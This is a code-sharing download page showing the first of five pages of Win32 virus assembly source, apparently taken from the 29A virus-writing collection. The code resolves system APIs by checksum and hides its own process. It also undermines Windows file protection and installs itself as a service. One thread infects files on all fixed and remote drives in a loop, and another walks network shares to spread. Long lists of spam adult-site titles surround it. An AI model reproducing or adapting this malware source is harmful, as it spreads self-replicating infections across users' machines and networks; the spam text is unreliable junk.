亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.003

?? 從29A上收集的病毒源碼
?? 003
?? 第 1 頁 / 共 5 頁
字號:
        db      decsize dup (90h)

;-----------------------------------------------------------------------------
;WriteProcessMemory() is best to alter bytes because VirtualProtect() can fail
;-----------------------------------------------------------------------------

store_restore   label   near
        mov     esi, offset restore_loc
        push    esi
        call    dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pGetCurrentProcess]
        push    eax
        call    dword ptr [ebx + 4 + size regcrcstk + expcrcstk.pWriteProcessMemory]

store_popsize   label   near
        add     esp, 'rgb!'
        org     $ - 4
        dd      popsize
        push    esi
        pop     esi
        popad
        jmp     dword ptr [esp - 24h]           ;no stack change in ring 3
                                                ;(except in some debuggers)

;-----------------------------------------------------------------------------
;virus code begins here in dropped exe
;-----------------------------------------------------------------------------

efishnc_exe     label   near
        call    walk_seh

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

execrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (execrc_count + 1) dup (0)
execrcend       label   near
        dd      offset load_user32 - offset execrcend + 4

load_user32     label   near
        call    skip_user32
        db      "user32", 0

skip_user32     label   near
        call    dword ptr [esp + execrcstk.eLoadLibraryA + 4]
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

usrcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (usrcrc_count + 1) dup (0)
usrcrcend       label   near
        dd      offset get_cmdline - offset usrcrcend + 4

;-----------------------------------------------------------------------------
;determine platform and dynamically select function types (ANSI or Unicode)
;-----------------------------------------------------------------------------

get_cmdline     label   near
        mov     ebx, esp
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eGetVersion]
        shr     eax, 1fh
        lea     esi, dword ptr [eax * 4 + ebx]

;-----------------------------------------------------------------------------
;RegisterServiceProcess() if 9x/Me (just sets one bit)
;-----------------------------------------------------------------------------

        mov     ecx, dword ptr fs:[tib.TibTeb]
        or      byte ptr [ecx + teb.procflags + 1], al

;-----------------------------------------------------------------------------
;parse command-line in platform-independent way to see how file was run
;-----------------------------------------------------------------------------

        dec     ax
        mov     al, 0ffh
        xchg    edi, eax                        ;ffff if Unicode, 00ff if ANSI
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetCommandLineW]

stack_delta     label   near
        mov     ebp, dword ptr [eax]
        and     ebp, edi
        cmp     ebp, '"'                        ;Unicode-compatible compare
        je      skip_argv0
        push    ' '
        pop     ebp

skip_argv0      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        je      argv1_skip
        cmp     ecx, ebp
        jne     skip_argv0

find_argv1      label   near
        push    eax
        call    dword ptr [esi + usrcrcstk.uCharNextW]
        mov     ecx, dword ptr [eax]
        and     ecx, edi
        cmp     ecx, ' '                        ;Unicode-compatible compare
        je      find_argv1

argv1_skip      label   near

;-----------------------------------------------------------------------------
;if argv1 exists then argv0 was run using shell\open\command so run argv1
;-----------------------------------------------------------------------------

        jecxz   stack_copy
        sub     esp, size processinfo
        mov     edx, esp
        sub     esp, size startupinfo
        mov     ecx, esp
        push    edx
        push    ecx
        xor     edx, edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    edx
        push    eax
        push    edx
        push    ecx
        call    dword ptr [esi + size usrcrcstk + execrcstk.eGetStartupInfoW]
        call    dword ptr [esi + size usrcrcstk + execrcstk.eCreateProcessW]
        call    dword ptr [ebx + size usrcrcstk + execrcstk.eExitProcess]

;-----------------------------------------------------------------------------
;allocate stack space for RNG cache
;-----------------------------------------------------------------------------

stack_copy      label   near
        mov     ebx, dword ptr [ebx + size usrcrcstk.execrcstk.eGetTickCount]
        call    ebx                             ;RNG seed
        enter   (statelen + 1) shl 2, 0         ;RNG cache
        mov     edi, esp
        call    randinit
        mov     edi, ebx
        call    find_mzhdr

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

krncrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (krncrc_count + 1) dup (0)
krncrcend       label   near
        dd      offset swap_create - offset krncrcend + 4

;-----------------------------------------------------------------------------
;swap CreateFileW and CreateFileMappingA because of alphabet order
;-----------------------------------------------------------------------------

swap_create     label   near
        mov     dword ptr ds:[offset store_krnapi - offset efishnc_inf + expsize + 401003h], esp
        mov     ebx, esp
        mov     eax, dword ptr [ebx + krncrcstk.kCreateFileMappingA]
        xchg    dword ptr [ebx + krncrcstk.kCreateFileW], eax
        mov     dword ptr [ebx + krncrcstk.kCreateFileMappingA], eax

;-----------------------------------------------------------------------------
;get SFC support if available
;-----------------------------------------------------------------------------

        call    load_sfc
        db      "sfc_os", 0                     ;Windows XP (forwarder chain from sfc.dll)

load_sfc        label   near
        call    cLoadLibraryA
        test    eax, eax
        jne     found_sfc
        push    'cfs'                           ;Windows Me/2000
        push    esp
        call    cLoadLibraryA
        pop     ecx
        test    eax, eax
        je      sfcapi_esp

found_sfc       label   near
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

sfccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (sfccrc_count + 1) dup (0)
sfccrcend       label   near
        dd      offset sfcapi_pop - offset sfccrcend + 4

sfcapi_pop      label   near
        pop     eax

sfcapi_esp      label   near
        mov     dword ptr ds:[offset store_sfcapi - offset efishnc_inf + expsize + 401001h], eax

;-----------------------------------------------------------------------------
;get rest of APIs required for network thread
;-----------------------------------------------------------------------------

        push    'rpm'
        push    esp
        call    cLoadLibraryA
        pop     ecx
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

netcrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (netcrc_count + 1) dup (0)
netcrcend       label   near
        dd      offset netapi_esp - offset netcrcend + 4

netapi_esp      label   near
        mov     eax, dword ptr [esp + netcrcstk.nWNetCloseEnum - netcrcstk.nWNetOpenEnumW]
        mov     dword ptr ds:[offset store_netapi - offset efishnc_inf + expsize + 401001h], eax

;-----------------------------------------------------------------------------
;initialise service table if NT/2000/XP
;-----------------------------------------------------------------------------

        call    cGetVersion
        shr     eax, 1fh
        jne     svc_main                        ;no service if 9x/Me
        push    eax
        push    eax
        push    offset regdll - offset efishnc_inf + expsize + 401000h
        call    cLoadLibraryA
        call    init_findmz

;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------

svccrcbegin     label   near                    ;place < 80h bytes from call for smaller code
        dd      (svccrc_count + 1) dup (0)
svccrcend       label   near
        dd      offset start_disp - offset svccrcend + 4

start_disp      label   near
        pop     eax
        mov     ecx, esp
        add     edi, offset svc_main - offset start_disp
        push    edi
        push    ecx
        push    esp
        call    eax                             ;does not return if service launch
        add     esp, size SERVICE_TABLE_ENTRY   ;fix stack if app launch

svc_main        label   near
        push    eax
        push    esp
        xor     esi, esi
        push    esi
        push    esi
        call    create_thr1

;-----------------------------------------------------------------------------
;thread 1: infect files on all fixed and remote drive letters
;-----------------------------------------------------------------------------

find_drives     proc    near
        mov     eax, '\:A'                      ;NEC-PC98 uses A: for boot drive which can be hard disk

drive_loop      label   near
        push    eax
        push    esp
        push    (krncrcstk.kGetDriveTypeA - krncrcstk.klstrlenW) shr 2
        pop     eax
        call    store_krnapi
        sub     al, DRIVE_FIXED
        je      drive_set
        xchg    ecx, eax
        loop    drive_next                      ;loop if not DRIVE_REMOTE

drive_set       label   near
        push    esp
        call    cSetCurrentDirectoryA
        call    find_files

drive_next      label   near
        pop     eax
        inc     eax
        cmp     al, 'Z' + 1
        jne     drive_loop
        push    10 * 60 * 1000                  ;10 minutes
        call    cSleep
        jmp     find_drives
find_drives     endp

create_thr1     label   near
        push    esi
        push    esi
        call    cCreateThread
        push    esp
        push    esi
        push    esi
        call    create_thr2

;-----------------------------------------------------------------------------
;thread 2: find files on network shares using non-recursive algorithm
;-----------------------------------------------------------------------------

        call    get_krnapis

find_wnet       proc    near
        xor     ebx, ebx                        ;previous handle
        xor     esi, esi                        ;previous node
        xor     edi, edi                        ;previous buffer

wnet_open       label   near
        push    eax
        push    esp
        push    edi
        push    0
        push    RESOURCETYPE_DISK
        push    RESOURCE_GLOBALNET
        call    dword ptr [ebp + netcrcstk.nWNetOpenEnumW - size netcrcstk]
        push    eax
        push    edi
        call    cGlobalFree
        pop     ecx
        pop     edi
        inc     ecx
        loop    wnet_next
        push    size wnetlist
        push    ecx                             ;GMEM_FIXED
        call    cGlobalAlloc
        mov     dword ptr [eax + wnetlist.wnetprev], esi
        mov     dword ptr [eax + wnetlist.wnethand], ebx
        xchg    esi, eax
        mov     ebx, edi

wnet_next       label   near
        push    1

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
av午夜一区麻豆| 中文字幕av在线一区二区三区| 欧美成人乱码一区二区三区| 国产欧美日产一区| 日本成人中文字幕在线视频| 成a人片亚洲日本久久| 欧美一区二区精品久久911| 亚洲天堂精品视频| 国产成人亚洲精品青草天美| 欧美一区二区观看视频| 亚洲欧美电影院| 国产精品一区二区久激情瑜伽| 欧美日韩一区二区三区免费看 | 欧美午夜不卡在线观看免费| 国产色产综合产在线视频| 天天影视涩香欲综合网| 99re视频精品| 国产精品高潮呻吟久久| 国产一本一道久久香蕉| 欧美一区二区三区思思人| 午夜国产精品影院在线观看| 色猫猫国产区一区二在线视频| 中文字幕精品综合| 韩国精品主播一区二区在线观看| 欧美一区二区三区啪啪| 五月综合激情网| 欧美色电影在线| 亚洲一区二区四区蜜桃| 一本到一区二区三区| 亚洲人妖av一区二区| 不卡视频在线看| 亚洲欧洲日产国码二区| 99久久精品免费精品国产| 中文字幕av一区二区三区免费看 | 五月天欧美精品| 欧美在线你懂得| 亚洲男人的天堂av| 日本高清成人免费播放| 亚洲男人电影天堂| 在线看日韩精品电影| 亚洲一卡二卡三卡四卡| 欧美日韩国产成人在线91| 亚洲va欧美va人人爽午夜| 欧美精选在线播放| 美女网站色91| 国产丝袜欧美中文另类| 99久久国产综合精品色伊| 一色屋精品亚洲香蕉网站| 97久久人人超碰| 亚洲va欧美va天堂v国产综合| 欧美一级日韩免费不卡| 久久99国产精品成人| 国产欧美日韩另类视频免费观看| 成人avav影音| 亚洲国产精品久久不卡毛片| 欧美日韩国产片| 国产综合久久久久久鬼色| 中文字幕欧美区| 欧美这里有精品| 青青草国产精品亚洲专区无| 久久久国产精华| 一本色道久久综合亚洲精品按摩| 日韩高清欧美激情| 久久综合国产精品| 91免费视频大全| 免费一区二区视频| 国产精品美女一区二区三区| 欧美视频在线一区| 韩日av一区二区| 一区二区高清在线| 日韩欧美亚洲另类制服综合在线| 成人精品高清在线| 美女一区二区在线观看| 国产精品免费看片| 日韩你懂的在线观看| 99麻豆久久久国产精品免费优播| 亚洲成人在线观看视频| 欧美国产一区在线| 欧美一区二区黄| 色丁香久综合在线久综合在线观看| 老司机精品视频在线| 亚洲欧美另类久久久精品2019| 日韩一区二区精品| 在线观看成人免费视频| 国产精品亚洲综合一区在线观看| 亚洲成av人在线观看| 中文字幕一区二区三区蜜月 | 日本欧美一区二区三区乱码| 国产精品第四页| 欧美一区二区三区人| 91蝌蚪porny九色| 国产精品一区二区三区四区| 五月综合激情网| 亚洲综合av网| 国产精品久久久久aaaa| 久久综合久久综合亚洲| 欧美肥妇free| 欧美日韩一本到| 色综合久久久久综合体| 懂色av中文字幕一区二区三区| 日韩av一二三| 舔着乳尖日韩一区| 亚洲国产另类av| 亚洲一区在线观看免费观看电影高清| 日本一区二区成人在线| 久久伊人中文字幕| 欧美一二三区在线观看| 91精品国产全国免费观看| 欧美日韩国产小视频在线观看| 色婷婷激情综合| 色综合婷婷久久| 91麻豆福利精品推荐| 91麻豆蜜桃一区二区三区| av毛片久久久久**hd| 成人性生交大片免费看中文| 国产精品77777| 丁香婷婷综合激情五月色| 国产一区二区女| 国产精品一区二区不卡| 成人午夜视频免费看| 国产suv精品一区二区6| av电影在线观看一区| 色婷婷亚洲一区二区三区| 在线免费观看日本欧美| 欧美日韩久久一区| 制服丝袜在线91| 精品久久久久久无| 亚洲精品在线观看视频| 亚洲国产精品二十页| 国产精品福利一区| 一区二区三区在线影院| 天天综合天天做天天综合| 久久99精品国产| 从欧美一区二区三区| 色综合视频在线观看| 777亚洲妇女| 国产亚洲欧美一级| 亚洲男人的天堂一区二区| 日韩专区欧美专区| 国产一区二区三区高清播放| 99国产欧美另类久久久精品| 在线观看网站黄不卡| 日韩欧美激情在线| 中文字幕一区二区三| 婷婷综合久久一区二区三区| 韩国精品在线观看| 91网站最新地址| 日韩精品一区二区三区视频在线观看| 国产日韩欧美不卡在线| 一区二区三区资源| 久久99精品久久久久久国产越南 | 欧美国产日韩精品免费观看| 一区二区在线观看视频| 免费成人小视频| 97se狠狠狠综合亚洲狠狠| 欧美一区二区人人喊爽| 国产精品国产三级国产有无不卡| 亚洲夂夂婷婷色拍ww47| 国产一区二区三区免费播放| 一本大道久久a久久精品综合| 欧美v亚洲v综合ⅴ国产v| 一区二区三区91| 激情深爱一区二区| 欧美日韩一区二区欧美激情 | 亚洲永久免费av| 国产精品一区二区不卡| 欧美日韩综合在线免费观看| 久久夜色精品国产欧美乱极品| 亚洲免费毛片网站| 国产精品18久久久久久vr | jlzzjlzz国产精品久久| 日韩一区二区视频| 成人福利视频网站| 国产欧美一区二区精品仙草咪| 欧美日韩国产综合一区二区| 色狠狠桃花综合| 欧美久久久久久久久| 国产精品乱码人人做人人爱 | 精品一区二区三区免费毛片爱| 色婷婷精品久久二区二区蜜臂av| 精品国产一区二区三区久久久蜜月| 亚洲老司机在线| 福利一区福利二区| 久久久久久一二三区| 日本亚洲一区二区| 91免费版在线看| 国产精品久久久久婷婷二区次| 精品一区二区三区免费视频| 91精品国产综合久久久久久久| 亚洲日本青草视频在线怡红院| 国产成人精品www牛牛影视| 日韩一区二区三区电影 | 亚洲欧美日韩中文播放| 成人av在线播放网址| 久久久国产精品麻豆| 蜜臀av一级做a爰片久久| 日韩丝袜美女视频| 美腿丝袜一区二区三区| 精品久久久久久亚洲综合网 | 成人一二三区视频|